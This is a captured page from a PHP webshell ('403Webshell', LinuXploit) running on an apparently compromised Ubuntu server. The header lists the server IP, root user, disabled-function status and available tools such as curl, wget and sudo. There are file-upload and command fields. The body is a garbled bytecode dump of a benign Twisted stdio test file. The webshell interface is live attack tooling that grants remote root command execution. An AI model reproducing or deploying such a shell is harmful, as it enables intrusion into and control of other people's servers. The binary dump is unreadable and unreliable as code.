403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/twisted/test/__pycache__/stdio_test_halfclose.cpython-312.pyc
�

oj�����dZddlZddlmZddlmZmZddlmZddl	m
Z
mZee�Gd�dej��Z
ed	k(r�ejej d
�j#�e
j$eej dd��dd
lmZe
�Zej,e�ej.�ej0ej2�yy)z�
Main program for the child process run by
L{twisted.test.test_stdio.StandardInputOutputTests.test_readConnectionLost}
to test that IHalfCloseableProtocol.readConnectionLost works for process
transports.
�N)�implementer)�protocol�stdio)�IHalfCloseableProtocol)�log�reflectc�,�eZdZdZdZd�Zd�Zd�Zd�Zy)�HalfCloseProtocolz�
    A protocol to hook up to stdio and observe its transport being
    half-closed.  If all goes as expected, C{exitCode} will be set to C{0};
    otherwise it will be set to C{1} to indicate failure.
    Nc�:�|jjd�y)z=
        Signal the parent process that we're ready.
        �xN)�	transport�write��selfs �C/usr/lib/python3/dist-packages/twisted/test/stdio_test_halfclose.py�connectionMadez HalfCloseProtocol.connectionMade s��	
�����T�"�c�:�d|_tj�y)zv
        This is the desired event.  Once it has happened, stop the reactor so
        the process will exit.
        rN)�exitCode�reactor�stoprs r�readConnectionLostz$HalfCloseProtocol.readConnectionLost&s��
��
����rc�~�|j�d|_tj|d�tj�y)z�
        This may only be invoked after C{readConnectionLost}.  If it happens
        otherwise, mark it as an error and shut down.
        N�z!Unexpected call to connectionLost)rr�errrr)r�reasons  r�connectionLostz HalfCloseProtocol.connectionLost.s-��
�=�=� ��D�M��G�G�F�?�@����rc��y)N�rs r�writeConnectionLostz%HalfCloseProtocol.writeConnectionLost8s��r)	�__name__�
__module__�__qualname__�__doc__rrrrr rrrr
r
s"����H�#���
rr
�__main__r��wb)r)r$�sys�zope.interfacer�twisted.internetrr�twisted.internet.interfacesr�twisted.pythonrr�Protocolr
r!�namedAny�argv�install�startLogging�openr�halfCloseProtocol�
StandardIO�run�exitrrrr�<module>r7s���
��&�,�>�'�
�
#�$�#
��)�)�#
�%�#
�L�z���G���S�X�X�a�[�!�)�)�+��C���T�#�(�(�1�+�t�,�-�(�)�+���E���&�'��G�K�K�M��C�H�H�
�
'�
'�(�r

Youez - 2016 - github.com/yon3zu
LinuXploit